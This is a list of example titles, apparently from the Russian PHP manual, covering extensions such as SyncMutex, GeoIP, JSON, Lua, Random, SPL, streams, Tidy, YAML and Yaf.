  • Example#3458 - Запись данных в участок разделяемой памяти
  • Example#3459 - Пример использования SyncMutex::__construct для создания именованного мьютекса со временем ожидания
  • Example#3460 - Пример использования SyncMutex::__construct для создания безымянного мьютекса
  • Example#3461 - Пример использования SyncMutex::lock
  • Example#3462 - Пример использования SyncMutex::unlock
  • Example#3463 - Пример использования SyncSemaphore::__construct
  • Example#3464 - Пример использования SyncSemaphore::lock
  • Example#3465 - Пример использования SyncSemaphore::unlock
  • Example#3466 - Пример использования SyncEvent::__construct
  • Example#3467 - Пример использования SyncEvent::fire
  • Example#3468 - SyncEvent::reset example
  • Example#3469 - Пример использования SyncEvent::wait
  • Example#3470 - Пример использования SyncReaderWriter::__construct
  • Example#3471 - Пример использования SyncReaderWriter::readlock
  • Example#3472 - Пример использования SyncReaderWriter::readunlock
  • Example#3473 - Пример использования SyncReaderWriter::writelock
  • Example#3474 - Пример использования SyncReaderWriter::writeunlock
  • Example#3475 - Пример использования SyncSharedMemory::__construct
  • Example#3476 - Пример использования SyncSharedMemory::first
  • Example#3477 - Пример использования SyncSharedMemory::__construct
  • Example#3478 - Пример использования SyncSharedMemory::size
  • Example#3479 - Пример использования SyncSharedMemory::write
  • Example#3480 - Пример использования geoip_asnum_by_name
  • Example#3481 - Пример использования geoip_continent_code_by_name
  • Example#3482 - Пример использования geoip_country_code_by_name
  • Example#3483 - Пример использования geoip_country_code3_by_name
  • Example#3484 - Пример использования geoip_country_name_by_name
  • Example#3485 - Пример использования geoip_database_info
  • Example#3486 - Пример использования geoip_db_avail
  • Example#3487 - Пример использования функции geoip_db_filename
  • Example#3488 - Пример использования geoip_db_get_all_info
  • Example#3489 - Пример использования geoip_db_get_all_info
  • Example#3490 - Пример использования geoip_domain_by_name
  • Example#3491 - Пример использования geoip_id_by_name
  • Example#3492 - Пример использования geoip_isp_by_name
  • Example#3493 - Пример использования geoip_netspeedcell_by_name
  • Example#3494 - Пример использованияgeoip_org_by_name
  • Example#3495 - Пример использования geoip_record_by_name
  • Example#3496 - Пример использования geoip_region_by_name
  • Example#3497 - Пример использования geoip_region_name_by_code (Для Канады/США)
  • Example#3498 - Пример использования geoip_region_name_by_code, используя коды FIPS
  • Example#3499 - Пример использования geoip_setup_custom_directory
  • Example#3500 - Пример использования geoip_time_zone_by_country_and_region для кода региона US/Canada
  • Example#3501 - Использование geoip_time_zone_by_country_and_region, используя коды FIPS
  • Example#3502 - Файл xor.data
  • Example#3503 - Простое обучение
  • Example#3504 - Тестирование
  • Example#3505 - Пример использования fann_create_train_from_callback
  • Example#3506 - Пример использования fann_read_train_from_file
  • Example#3507 - Пример использования igbinary_serialize
  • Example#3508 - Пример использования JsonSerializable::jsonSerialize, возвращающий массив (array)
  • Example#3509 - Пример использования JsonSerializable::jsonSerialize, возвращающий ассоциативный массив (array)
  • Example#3510 - Пример использования JsonSerializable::jsonSerialize, возвращающий целое значение (int)
  • Example#3511 - Пример использования JsonSerializable::jsonSerialize, возвращающий строку (string)
  • Example#3512 - Примеры использования json_decode
  • Example#3513 - Доступ к свойствам объектов с неправильными именами
  • Example#3514 - Распространённая ошибка при использовании json_decode
  • Example#3515 - Ошибки с глубиной вложенных объектов (depth)
  • Example#3516 - json_decode с большими целыми числами
  • Example#3517 - Пример использования функции json_encode
  • Example#3518 - Пример использования функции json_encode с опциями
  • Example#3519 - Пример использования опции JSON_NUMERIC_CHECK
  • Example#3520 - Пример с последовательными индексами, которые начинаются с нуля, и непоследовательными индексами массивов
  • Example#3521 - Пример использования опции JSON_PRESERVE_ZERO_FRACTION
  • Example#3522 - Пример использования json_last_error
  • Example#3523 - Совместное использование json_last_error и json_encode
  • Example#3524 - json_last_error и JSON_THROW_ON_ERROR
  • Example#3525 - Пример использования функции json_validate
  • Example#3526 - Примеры использования simdjson_decode
  • Example#3527 - Доступ к недопустимым свойствам объекта
  • Example#3528 - Распространённые ошибки при использовании simdjson_decode
  • Example#3529 - Ошибки depth
  • Example#3530 - simdjson_decode больших целых чисел
  • Example#3531 - Пример использования simdjson_decode
  • Example#3532 - Ошибки depth
  • Example#3533 - Пример использования метода Lua::assign
  • Example#3534 - Пример использования Lua::call
  • Example#3535 - Пример использования Lua::eval
  • Example#3536 - Пример использования Lua::registerCallback
  • Example#3537 - Пример использованияLuaClosure::__invoke
  • Example#3538 - Выполните код Lua
  • Example#3539 - Вызов функции Lua
  • Example#3540 - Профилирование кода Lua
  • Example#3541 - Загрузка кода в Lua
  • Example#3542 - Управление таймером использования
  • Example#3543 - Регистрация PHP-функций для вызова из Lua
  • Example#3544 - Вызов функции Lua
  • Example#3545 - Вызов функции Lua
  • Example#3546 - Пример использования функции constant с константами
  • Example#3547 - Пример использования функции constant с вариантами перечисления (начиная с PHP 8.1.0)
  • Example#3548 - Определение констант
  • Example#3549 - Определение констант зарезервированными именами
  • Example#3550 - Проверка констант
  • Example#3551 - Проверка вариантов перечисления (начиная с PHP 8.1.0)
  • Example#3552 - Пример функции eval — простое слияние текста
  • Example#3553 - Пример использования языковой конструкции exit
  • Example#3554 - Пример использования конструкции exit со статусом выхода
  • Example#3555 - Функции выключения и деструкторы выполняются независимо
  • Example#3556 - Вывод информации о браузере пользователя
  • Example#3557 - Пример использования __halt_compiler
  • Example#3558 - Пример использования функции highlight_string
  • Example#3559 - Пример использования hrtime
  • Example#3560 - Пример использования функции ignore_user_abort
  • Example#3561 - Пример использования функции pack
  • Example#3562 - Пример использования php_strip_whitespace
  • Example#3563 - Использование sapi_windows_generate_ctrl_event
  • Example#3564 - Использование sapi_windows_set_ctrl_handler
  • Example#3565 - Состояние sapi_windows_vt100_support по умолчанию
  • Example#3566 - Изменение состояния с помощью sapi_windows_vt100_support
  • Example#3567 - Пример использования с поддержкой VT100
  • Example#3568 - Пример использования sleep
  • Example#3569 - Пример использования sys_getloadavg
  • Example#3570 - Пример использования time_nanosleep
  • Example#3571 - Пример использования time_sleep_until
  • Example#3572 - Пример использования uniqid
  • Example#3573 - Пример использования функции unpack
  • Example#3574 - Пример использования функции unpack с повторителем
  • Example#3575 - Пример использования функции unpack с безымянными ключами
  • Example#3576 - Пример использования usleep
  • Example#3577 - Пример использования Random
  • Example#3578 - Пример использования mt_rand
  • Example#3579 - Пример использования функции rand
  • Example#3580 - Пример использования random_bytes
  • Example#3581 - Пример использования функции random_int
  • Example#3582 - Пример использования Random\Randomizer::__construct
  • Example#3583 - Пример использования Random\Randomizer::getBytes
  • Example#3584 - Пример использования метода Random\Randomizer::getBytesFromString
  • Example#3585 - Пример генерации случайного кода для многофакторной аутентификации
  • Example#3586 - Пример выбора из строки с неравномерным распределением
  • Example#3587 - Пример использования метода Random\Randomizer::getFloat
  • Example#3588 - Пример использования Random\Randomizer::getInt
  • Example#3589 - Пример использования метода Random\Randomizer::nextFloat
  • Example#3590 - Неправильное масштабирование через аффинное преобразование
  • Example#3591 - Пример использования Random\Randomizer::nextInt
  • Example#3592 - Пример использования Random\Randomizer::pickArrayKeys
  • Example#3593 - Выбор случайных значений
  • Example#3594 - Пример использования Random\Randomizer::__serialize
  • Example#3595 - Пример использования Random\Randomizer::shuffleArray
  • Example#3596 - Пример использования Random\Randomizer::shuffleBytes
  • Example#3597 - Byte-wise shuffling breaks Unicode characters
  • Example#3598 - Пример использования Random\Randomizer::__unserialize
  • Example#3599 - Пример использования Random\Engine::generate
  • Example#3600 - Пример использования Random\Engine\Mt19937::__construct
  • Example#3601 - Пример использования Random\Engine\Mt19937::__debugInfo
  • Example#3602 - Пример использования Random\Engine\Mt19937::__serialize
  • Example#3603 - Пример использования Random\Engine\Mt19937::__unserialize
  • Example#3604 - Пример использования Random\Engine\PcgOneseq128XslRr64::__construct
  • Example#3605 - Выведение значения из строки (string)
  • Example#3606 - Пример использования Random\Engine\PcgOneseq128XslRr64::__debugInfo
  • Example#3607 - Пример использования Random\Engine\PcgOneseq128XslRr64::jump
  • Example#3608 - Методы Randomizer могут вызывать движок более одного раза
  • Example#3609 - Пример использования Random\Engine\PcgOneseq128XslRr64::__serialize
  • Example#3610 - Пример использования Random\Engine\PcgOneseq128XslRr64::__unserialize
  • Example#3611 - Пример использования Random\Engine\Xoshiro256StarStar::__construct
  • Example#3612 - Выведение значения из строки (string)
  • Example#3613 - Пример использования Random\Engine\Xoshiro256StarStar::__debugInfo
  • Example#3614 - Пример использования Random\Engine\Xoshiro256StarStar::jump
  • Example#3615 - Пример использования Random\Engine\Xoshiro256StarStar::jumpLong
  • Example#3616 - Пример использования Random\Engine\Xoshiro256StarStar::__serialize
  • Example#3617 - Пример использования Random\Engine\Xoshiro256StarStar::__unserialize
  • Example#3618 - Получение и установка базового пути
  • Example#3619 - Получение и установка логгера
  • Example#3620 - Fast write log
  • Example#3621 - Быстрый подсчёт некоторого типа значения подсчёта журнала
  • Example#3622 - Получает некоторый тип списка журналов
  • Example#3623 - Пример использования seaslog_get_author
  • Example#3624 - Пример использования seaslog_get_version
  • Example#3625 - Пример использования SeasLog::alert
  • Example#3626 - Пример использования SeasLog::analyzerCount
  • Example#3627 - Пример использования SeasLog::analyzerDetail
  • Example#3628 - Пример использования SeasLog::closeLoggerStream
  • Example#3629 - Пример использования SeasLog::__construct
  • Example#3630 - Пример использования SeasLog::critical
  • Example#3631 - SeasLog::debug example
  • Example#3632 - Пример использования SeasLog::__destruct
  • Example#3633 - Пример использования SeasLog::emergency
  • Example#3634 - Пример использования SeasLog::error
  • Example#3635 - Пример использования SeasLog::flushBuffer
  • Example#3636 - Пример использования SeasLog::getBasePath
  • Example#3637 - Пример использования SeasLog::getBuffer
  • Example#3638 - Пример использования SeasLog::getBufferEnabled
  • Example#3639 - Пример использования SeasLog::getDatetimeFormat
  • Example#3640 - Пример использования SeasLog::getLastLogger
  • Example#3641 - Пример использования SeasLog::getRequestID
  • Example#3642 - Пример использования SeasLog::getRequestVariable
  • Example#3643 - Пример использования SeasLog::info
  • Example#3644 - Пример использования SeasLog::log
  • Example#3645 - Пример использования SeasLog::notice
  • Example#3646 - Пример использования SeasLog::setBasePath
  • Example#3647 - Пример использования SeasLog::setDatetimeFormat
  • Example#3648 - Пример использования SeasLog::setLogger
  • Example#3649 - Пример использования SeasLog::setRequestID
  • Example#3650 - Пример использования SeasLog::setRequestVariable
  • Example#3651 - Пример использования SeasLog::warning
  • Example#3652 - Пример использования SplStack
  • Example#3653 - Пример использования SplQueue
  • Example#3654 - Эффективное решение задач с помощью SplQueue
  • Example#3655 - Пример использования SplFixedArray
  • Example#3656 - Пример использования SplFixedArray::__construct
  • Example#3657 - Пример SplFixedArray::count
  • Example#3658 - Пример использования SplFixedArray::fromArray
  • Example#3659 - Пример использования SplFixedArray::getSize
  • Example#3660 - Пример использования SplFixedArray::setSize
  • Example#3661 - Пример использования SplFixedArray::toArray
  • Example#3662 - Класс SplObjectStorage как набор объектов
  • Example#3663 - Класс SplObjectStorage как отображение объектов в данные
  • Example#3664 - Пример использования SplObjectStorage::addAll
  • Example#3665 - Пример использования SplObjectStorage::attach
  • Example#3666 - Пример использования SplObjectStorage::contains
  • Example#3667 - Пример использования SplObjectStorage::count
  • Example#3668 - Пример использования SplObjectStorage::current
  • Example#3669 - Пример использования SplObjectStorage::detach
  • Example#3670 - Пример использования SplObjectStorage::getHash
  • Example#3671 - Пример использования SplObjectStorage::getInfo
  • Example#3672 - Пример использования SplObjectStorage::key
  • Example#3673 - Пример использования SplObjectStorage::next
  • Example#3674 - Пример использования SplObjectStorage::offsetExists
  • Example#3675 - Пример использования SplObjectStorage::offsetGet
  • Example#3676 - Пример использования SplObjectStorage::offsetSet
  • Example#3677 - Пример использования SplObjectStorage::offsetUnset
  • Example#3678 - Пример использования SplObjectStorage::removeAll
  • Example#3679 - Пример использования SplObjectStorage::removeAllExcept
  • Example#3680 - Пример использования SplObjectStorage::rewind
  • Example#3681 - Пример использования SplObjectStorage::serialize
  • Example#3682 - Пример использования SplObjectStorage::setInfo
  • Example#3683 - Пример использования SplObjectStorage::unserialize
  • Example#3684 - Пример использования SplObjectStorage::valid
  • Example#3685 - Пример использованияAppendIterator::append
  • Example#3686 - Итерация AppendIterator с помощью foreach
  • Example#3687 - Итерация AppendIterator с помощью AppendIterator API
  • Example#3688 - Пример использования AppendIterator.getIteratorIndex
  • Example#3689 - Пример использования AppendIterator::key
  • Example#3690 - Пример использования ArrayIterator::current
  • Example#3691 - Пример использования ArrayIterator::key
  • Example#3692 - Пример использования ArrayIterator::next
  • Example#3693 - Пример использования ArrayIterator::rewind
  • Example#3694 - Пример использования метода ArrayIterator::valid
  • Example#3695 - Пример использования CachingIterator::getCache
  • Example#3696 - Доступные аргументы обратного вызова
  • Example#3697 - Основные примеры обратного вызова
  • Example#3698 - Пример использования DirectoryIterator::__construct
  • Example#3699 - Пример использования DirectoryIterator::current
  • Example#3700 - Пример использования DirectoryIterator::getBasename
  • Example#3701 - Пример использования метода DirectoryIterator::getExtension
  • Example#3702 - Пример использования DirectoryIterator::getFilename
  • Example#3703 - Пример использования DirectoryIterator::isDot
  • Example#3704 - Пример использования DirectoryIterator::key
  • Example#3705 - Пример использования DirectoryIterator::next
  • Example#3706 - Пример использования DirectoryIterator::rewind
  • Example#3707 - Пример использования DirectoryIterator::seek
  • Example#3708 - Пример использования DirectoryIterator::__toString
  • Example#3709 - Пример использования DirectoryIterator::valid
  • Example#3710 - Пример использования FilesystemIterator::__construct
  • Example#3711 - Пример использования FilesystemIterator::current
  • Example#3712 - Пример использования FilesystemIterator::key
  • Example#3713 - Пример использования FilesystemIterator::next
  • Example#3714 - Пример использования FilesystemIterator::rewind
  • Example#3715 - Пример использования FilesystemIterator::key
  • Example#3716 - Пример использования FilterIterator::accept
  • Example#3717 - Пример использования GlobIterator
  • Example#3718 - Пример использования GlobIterator::count
  • Example#3719 - Пример использования InfiniteIterator::__construct
  • Example#3720 - Пример использования LimitIterator
  • Example#3721 - Пример использования LimitIterator::__construct
  • Example#3722 - Пример использования LimitIterator::getPosition
  • Example#3723 - Итерирование MultipleIterator
  • Example#3724 - Пример использования NoRewindIterator::__construct
  • Example#3725 - Пример использования NoRewindIterator::rewind
  • Example#3726 - Пример использования метода RecursiveArrayIterator::getChildren
  • Example#3727 - Пример использования RecursiveArrayIterator::hasChildren
  • Example#3728 - Доступные аргументы callback-функции
  • Example#3729 - Простой пример рекурсивного обратного вызова
  • Example#3730 - Пример использования RecursiveCallbackFilterIterator::hasChildren
  • Example#3731 - Пример использования RecursiveDirectoryIterator
  • Example#3732 - Пример использования getSubPath
  • Example#3733 - Пример использования getSubPathname
  • Example#3734 - Пример использования RecursiveFilterIterator
  • Example#3735 - Ещё пример с RecursiveFilterIterator
  • Example#3736 - Итерация по дереву элементов с помощью RecursiveIteratorIterator
  • Example#3737 - Пример использования RecursiveRegexIterator::__construct
  • Example#3738 - Пример использования RecursiveRegexIterator::getChildren
  • Example#3739 - Пример использования RecursiveRegexIterator::hasChildren
  • Example#3740 - Пример использования RegexIterator::accept
  • Example#3741 - Пример использования RegexIterator::__construct
  • Example#3742 - Пример использования RegexIterator::getFlags
  • Example#3743 - Пример использования RegexIterator::getMode
  • Example#3744 - Пример использования RegexIterator::getPregFlags
  • Example#3745 - Пример использования RegexIterator::setFlags
  • Example#3746 - Пример использования RegexIterator::setMode
  • Example#3747 - Пример использования RegexIterator::setPregFlags
  • Example#3748 - Пример использования Countable::count
  • Example#3749 - Простое использование
  • Example#3750 - Пример использования SeekableIterator::seek
  • Example#3751 - Пример использования class_implements
  • Example#3752 - Пример использования class_parents
  • Example#3753 - Пример использования class_uses
  • Example#3754 - Пример использования iterator_apply
  • Example#3755 - Пример использования iterator_count
  • Example#3756 - iterator_count модифицирует позицию
  • Example#3757 - iterator_count в цикле foreach
  • Example#3758 - Пример использования iterator_to_array
  • Example#3759 - Пример использования функции spl_autoload_extensions
  • Example#3760 - Замена функции __autoload функцией spl_autoload_register
  • Example#3761 - Пример поведения функции spl_autoload_register в коде, в котором не загрузили класс
  • Example#3762 - Идентификаторы передаются в функцию без ведущего обратного слеша
  • Example#3763 - Пример использования spl_classes
  • Example#3764 - Пример использования функции spl_object_hash
  • Example#3765 - Пример использования функции spl_object_id
  • Example#3766 - Пример использования SplFileInfo::__construct
  • Example#3767 - Пример использования метода SplFileInfo::getATime
  • Example#3768 - Пример использования SplFileInfo::getBasename
  • Example#3769 - Пример использования SplFileInfo::getCTime
  • Example#3770 - Пример использования метода SplFileInfo::getExtension
  • Example#3771 - Пример использования SplFileInfo::getFilename
  • Example#3772 - Пример использования метода SplFileInfo::getGroup
  • Example#3773 - Пример использования метода SplFileInfo::getLinkTarget
  • Example#3774 - Пример использования метода SplFileInfo::getMTime
  • Example#3775 - Пример использования метода SplFileInfo::getOwner
  • Example#3776 - Пример использования SplFileInfo::getPath
  • Example#3777 - Пример использования SplFileInfo::getPathInfo
  • Example#3778 - Пример использования SplFileInfo::getPathname
  • Example#3779 - Пример использования метода SplFileInfo::getPerms
  • Example#3780 - Пример использования SplFileInfo::getRealPath
  • Example#3781 - Пример использования метода SplFileInfo::getSize
  • Example#3782 - Пример использования метода SplFileInfo::getType
  • Example#3783 - Пример использования SplFileInfo::isDir
  • Example#3784 - Пример использования SplFileInfo::isExecutable
  • Example#3785 - Пример использования SplFileInfo::isFile
  • Example#3786 - Пример использования SplFileInfo::isLink
  • Example#3787 - Пример использования SplFileInfo::isReadable
  • Example#3788 - Пример использования SplFileInfo::isWriteable
  • Example#3789 - Пример использования SplFileInfo::openFile
  • Example#3790 - Пример использования SplFileInfo::setFileClass
  • Example#3791 - Пример использования SplFileInfo::setFileClass
  • Example#3792 - Пример использования SplFileInfo::__toString
  • Example#3793 - Пример использования SplFileObject::__construct
  • Example#3794 - Пример использования SplFileObject::current
  • Example#3795 - Пример использования SplFileObject::eof
  • Example#3796 - Пример использования SplFileObject::fflush
  • Example#3797 - Пример использования SplFileObject::fgetc
  • Example#3798 - Пример использования метода SplFileObject::fgetcsv
  • Example#3799 - Пример использования SplFileObject::READ_CSV
  • Example#3800 - Пример использования SplFileObject::fgets
  • Example#3801 - Пример использования SplFileObject::fgetss
  • Example#3802 - Пример использования метода SplFileObject::flock
  • Example#3803 - Пример использования SplFileObject::fpassthru
  • Example#3804 - Пример SplFileObject::fputcsv
  • Example#3805 - Пример SplFileObject::fread
  • Example#3806 - Пример использования SplFileObject::fscanf
  • Example#3807 - Пример использования SplFileObject::fseek
  • Example#3808 - Пример использования SplFileObject::fstat
  • Example#3809 - Пример использования SplFileObject::ftell
  • Example#3810 - Пример использования SplFileObject::ftruncate
  • Example#3811 - Пример использования метода SplFileObject::fwrite
  • Example#3812 - Пример использования метода SplFileObject::getCsvControl
  • Example#3813 - Пример использования SplFileObject::getFlags
  • Example#3814 - Пример использования SplFileObject::getMaxLineLen
  • Example#3815 - Пример использования SplFileObject::key
  • Example#3816 - Пример использования SplFileObject::key при задании длины строки методом SplFileObject::setMaxLineLen
  • Example#3817 - Пример использования SplFileObject::next
  • Example#3818 - Пример использования SplFileObject::rewind
  • Example#3819 - Пример использования SplFileObject::seek
  • Example#3820 - Пример использования SplFileObject::setCsvControl
  • Example#3821 - Пример использования SplFileObject::setFlags
  • Example#3822 - Пример использования SplFileObject::setMaxLineLen
  • Example#3823 - Пример использования SplFileObject::valid
  • Example#3824 - Пример использования метода SplTempFileObject
  • Example#3825 - Пример использования ArrayObject::append
  • Example#3826 - Пример использования ArrayObject::asort
  • Example#3827 - Пример использования ArrayObject::__construct
  • Example#3828 - Пример использования метода ArrayObject::count
  • Example#3829 - Пример использования метода ArrayObject::exchangeArray
  • Example#3830 - Пример использования ArrayObject::getArrayCopy
  • Example#3831 - Пример использования ArrayObject::getFlags
  • Example#3832 - Пример использования ArrayObject::getIterator
  • Example#3833 - Пример использования ArrayObject::getIteratorClass
  • Example#3834 - Пример использования ArrayObject::ksort
  • Example#3835 - Пример использования ArrayObject::natcasesort
  • Example#3836 - Пример использования ArrayObject::natsort
  • Example#3837 - Пример использования ArrayObject::offsetExists
  • Example#3838 - Пример использования ArrayObject::offsetGet
  • Example#3839 - Пример использования ArrayObject::offsetSet
  • Example#3840 - Пример использования ArrayObject::offsetUnset
  • Example#3841 - Пример использования ArrayObject::serialize
  • Example#3842 - Пример использования ArrayObject::setFlags
  • Example#3843 - Пример использования ArrayObject::setIteratorClass
  • Example#3844 - Пример использования ArrayObject::uasort
  • Example#3845 - Пример использования ArrayObject::uksort
  • Example#3846 - Использование file_get_contents для получения данных из различных источников
  • Example#3847 - Осуществление POST-запроса к https-серверу
  • Example#3848 - Запись данных в сжатый файл
  • Example#3849 - Поток для чтения/записи глобальных переменных
  • Example#3850 - Получение списка файлов из tar-архивов
  • Example#3851 - Примеры использования stream_bucket_prepend
  • Example#3852 - Использование stream_context_create
  • Example#3853 - Пример использования stream_context_get_default
  • Example#3854 - Пример использования stream_context_get_options
  • Example#3855 - Пример использования stream_context_get_params
  • Example#3856 - stream_context_set_default example
  • Example#3857 - Пример использования функции stream_context_set_options
  • Example#3858 - Пример использования stream_copy_to_stream
  • Example#3859 - Контроль применения фильтров
  • Example#3860 - Фильтр для перевода букв в верхний регистр в потоке foo-bar.txt
  • Example#3861 - Регистрация стандартного фильтра, соответствующего множественным именам фильтров.
  • Example#3862 - Динамическое изменение фильтров потока
  • Example#3863 - Пример использования stream_get_contents
  • Example#3864 - Пример использования функции stream_get_filters
  • Example#3865 - Пример использования stream_get_meta_data с использованием fopen с http
  • Example#3866 - Пример использования stream_get_meta_data с использованием stream_socket_client с https
  • Example#3867 - Пример использования stream_get_transports
  • Example#3868 - Пример использования stream_get_wrappers
  • Example#3869 - Проверка существования обёртки потока
  • Example#3870 - Пример выполненияstream_is_local
  • Example#3871 - Пример выполнения stream_isatty
  • Example#3872 - Пример использования stream_notification_callback
  • Example#3873 - Простой индикатор для загрузчика файлов из командной строки
  • Example#3874 - Пример использования stream_resolve_include_path
  • Example#3875 - Пример использования функции stream_select
  • Example#3876 - Пример использования stream_set_timeout
  • Example#3877 - Пример использования stream_set_write_buffer
  • Example#3878 - Пример использования stream_socket_client
  • Example#3879 - Использование UDP-соединения
  • Example#3880 - Пример использования stream_socket_enable_crypto
  • Example#3881 - Пример использования stream_socket_pair
  • Example#3882 - Пример использования функции stream_socket_recvfrom
  • Example#3883 - Пример использования stream_socket_sendto
  • Example#3884 - Пример использования серверных сокетов TCP
  • Example#3885 - Пример использования серверных сокетов UDP
  • Example#3886 - Пример использования stream_socket_shutdown
  • Example#3887 - Как зарегистрировать обёртку потока
  • Example#3888 - Базовые возможности использования Tidy
  • Example#3889 - Пример использования tidy::getBody
  • Example#3890 - Пример использования tidy::cleanrepair
  • Example#3891 - Пример использования tidy::__construct
  • Example#3892 - Пример использования tidy::diagnose
  • Example#3893 - Пример использования tidy_get_error_buffer
  • Example#3894 - Пример использования tidy::getConfig
  • Example#3895 - Пример использования tidy_getopt
  • Example#3896 - Печать всех опций вместе с описанием и значением по умолчанию
  • Example#3897 - Пример использования tidy::getStatus
  • Example#3898 - Пример использования tidy::head
  • Example#3899 - Пример использования tidy::html
  • Example#3900 - Пример использования tidy::parseFile
  • Example#3901 - Пример использования tidy::parseString
  • Example#3902 - Пример использования tidy::repairFile
  • Example#3903 - Пример использования tidy::repairString
  • Example#3904 - Пример использования tidy::root
  • Example#3905 - Пример использования функции tidyNode::getParent
  • Example#3906 - Пример использования функции tidyNode::hasChildren
  • Example#3907 - Пример использования функции tidyNode::hasSiblings
  • Example#3908 - Извлечение кода ASP из смешанного HTML-документа
  • Example#3909 - Извлечение комментариев из смешанного HTML-документа
  • Example#3910 - Извлечение HTML-кода из смешанного HTML-документа
  • Example#3911 - Извлечение JSTE-кода из смешанного HTML-документа
  • Example#3912 - Извлечение PHP-кода из смешанного HTML-документа
  • Example#3913 - Извлечение обычного текста из смешанного HTML-документа
  • Example#3914 - Пример использования ob_tidyhandler
  • Example#3915 - Пример использования tidy_access_count
  • Example#3916 - Пример использования tidy_config_count
  • Example#3917 - Пример использования tidy_error_count
  • Example#3918 - Пример использования tidy_get_output
  • Example#3919 - Пример использования tidy_warning_count
  • Example#3920 - Удаление комментариев лексером
  • Example#3921 - Пример использования PhpToken::getTokenName
  • Example#3922 - Пример использования PhpToken::is
  • Example#3923 - Использование с массивом
  • Example#3924 - Пример использования PhpToken::isIgnorable
  • Example#3925 - Пример использования PhpToken::__toString
  • Example#3926 - Пример использования PhpToken::tokenize
  • Example#3927 - Расширение PhpToken
  • Example#3928 - token_get_all example
  • Example#3929 - Пример неправильного использования token_get_all
  • Example#3930 - Пример использования token_get_all с классом, использующим зарезервированные слова
  • Example#3931 - Пример использования token_name
  • Example#3932 - Пример использования base64_decode
  • Example#3933 - Пример использования base64_encode
  • Example#3934 - Пример использования get_headers
  • Example#3935 - Пример использования запроса HEAD в функцииget_headers
  • Example#3936 - Что обрабатывает функция get_meta_tags
  • Example#3937 - Что возвращает функция get_meta_tags
  • Example#3938 - Простой пример использования http_build_query
  • Example#3939 - Пример использования http_build_query с числовыми индексами элементов.
  • Example#3940 - Пример использования http_build_query с многомерными массивами
  • Example#3941 - Пример использования http_build_query с объектом
  • Example#3942 - Пример использования parse_url
  • Example#3943 - Пример использования parse_url при отсутствии протокола
  • Example#3944 - Пример использования rawurldecode
  • Example#3945 - Пример использования rawurlencode для включение пароля в URL FTP
  • Example#3946 - Пример использования rawurlencode
  • Example#3947 - Пример использования urldecode
  • Example#3948 - Пример использования функции urlencode
  • Example#3949 - Пример использования функций urlencode и htmlentities
  • Example#3950 - Запуск Javascript
  • Example#3951 - Пример работы с Yaml
  • Example#3952 - Пример использования callback-функции парсинга
  • Example#3953 - Пример публикующей callback-функции
  • Example#3954 - Пример использования yaml_emit
  • Example#3955 - Пример использования yaml_parse
  • Example#3956 - Классический пример каталога для приложения
  • Example#3957 - Введение
  • Example#3958 - Правила перенаправления
  • Example#3959 - Конфигурация приложения
  • Example#3960 - Контроллер по умолчанию
  • Example#3961 - Шаблон вывода по умолчанию
  • Example#3962 - Запуск приложения
  • Example#3963 - Пример PHP массива
  • Example#3964 - Пример INI файла
  • Example#3965 - Пример использования Bootstrap
  • Example#3966 - Пример использования Yaf_Application::bootstrap
  • Example#3967 - Пример использования Yaf_Application::clearLastError
  • Example#3968 - Пример ini-файла
  • Example#3969 - Пример использования Yaf_Application::__construct
  • Example#3970 - Пример использования Yaf_Application::__construct
  • Example#3971 - Пример использования Yaf_Application::environ
  • Example#3972 - Пример использования Yaf_Application::execute
  • Example#3973 - Пример использования Yaf_Application::getConfig
  • Example#3974 - Пример использования Yaf_Application::getDispatcher
  • Example#3975 - Пример использования Yaf_Application::getLastErrorMsg
  • Example#3976 - Пример использования Yaf_Application::getLastErrorNo
  • Example#3977 - Пример использования Yaf_Application::getModules
  • Example#3978 - Пример использования Bootstrap
  • Example#3979 - Пример использования Yaf_Dispatcher::autoRender
  • Example#3980 - Пример использования Yaf_Dispatcher::catchException
  • Example#3981 - Пример использования Yaf_Dispatcher::registerPlugin
  • Example#3982 - Пример использования пользовательского движка отображения
  • Example#3983 - Пример использования Yaf_Dispatcher::setView
  • Example#3984 - Пример использования Yaf_Dispatcher::throwexception
  • Example#3985 - Пример использования Yaf_Dispatcher::throwexception
  • Example#3986 - Yaf_Config_Iniexample
  • Example#3987 - Определение действия в отдельном файле
  • Example#3988 - Dummy_action.php
  • Example#3989 - Пример использования Yaf_Controller_Abstract::forward
  • Example#3990 - Пример использования Yaf_Action_Abstract::execute
  • Example#3991 - Пример использования Yaf_Action_Abstract::execute
  • Example#3992 - Пример использования Yaf_View_Simple::assign
  • Example#3993 - Пример использования template
  • Example#3994 - Пример использования Yaf_View_Simple::assignRef
  • Example#3995 - Пример использования template
  • Example#3996 - Пример использования Yaf_View_Simple::clear
  • Example#3997 - Пример использования Yaf_View_Simple::__constructor
  • Example#3998 - Пример использования Yaf_View_Simple::__setexampl
  • Example#3999 - Пример конфигурации
  • Example#4000 - Зарегистрировать локальное пространство имён
  • Example#4001 - Пример загрузки класса
  • Example#4002 - Пример загрузки класса имён
  • Example#4003 - Пример загрузки класса MVC
  • Example#4004 - Классовые различия MVC
  • Example#4005 - Пример загрузки MVC
  • Example#4006 - Пример использования Yaf_Loader::registerNamespace
  • Example#4007 - Пример использования Yaf_Loader::registerLocalNamespace
  • Example#4008 - Пример использования Yaf_Loader::registerNamespace
  • Example#4009 - Пример плагина
  • Example#4010 - Пример использования Yaf_Plugin_Abstract::routerShutdown
  • Example#4011 - Пример использования Yaf_Response_Abstract::appendBody
  • Example#4012 - Пример использования Yaf_Response_Abstract::getBody
  • Example#4013 - Пример использования Yaf_Response_Abstract::prependBody
  • Example#4014 - Пример использования Yaf_Response_Abstract::response
  • Example#4015 - Пример использования Yaf_Response_Abstract::setBody
  • Example#4016 - Пример использования Yaf_Route_Map::assemble
  • Example#4017 - Пример использования Yaf_Route_Map
  • Example#4018 - Пример использования Yaf_Route_Map
  • Example#4019 - Пример использования Yaf_Route_Map
  • Example#4020 - Пример использования Yaf_Route_Regex::assemble
  • Example#4021 - Пример использования Yaf_Route_Regex
  • Example#4022 - Пример использования Yaf_Route_Regex (с версии 2.3.0)
  • Example#4023 - Пример использования Yaf_Route_Regex с именованными совпадениями (с версии 2.3.0)
  • Example#4024 - Пример использования Yaf_Route_Regex
  • Example#4025 - Пример использования Yaf_Route_Rewrite::assemble
  • Example#4026 - Пример использования Yaf_Route_Rewrite
  • Example#4027 - Пример использования Yaf_Route_Rewrite
  • Example#4028 - Пример использования Yaf_Route_Rewrite(as of 2.3.0)
  • Example#4029 - Правило перезаписи для Apache
  • Example#4030 - Правило перезаписи для Apache
  • Example#4031 - Правило перезаписи для Lighttpd
  • Example#4032 - Правило перезаписи для Nginx
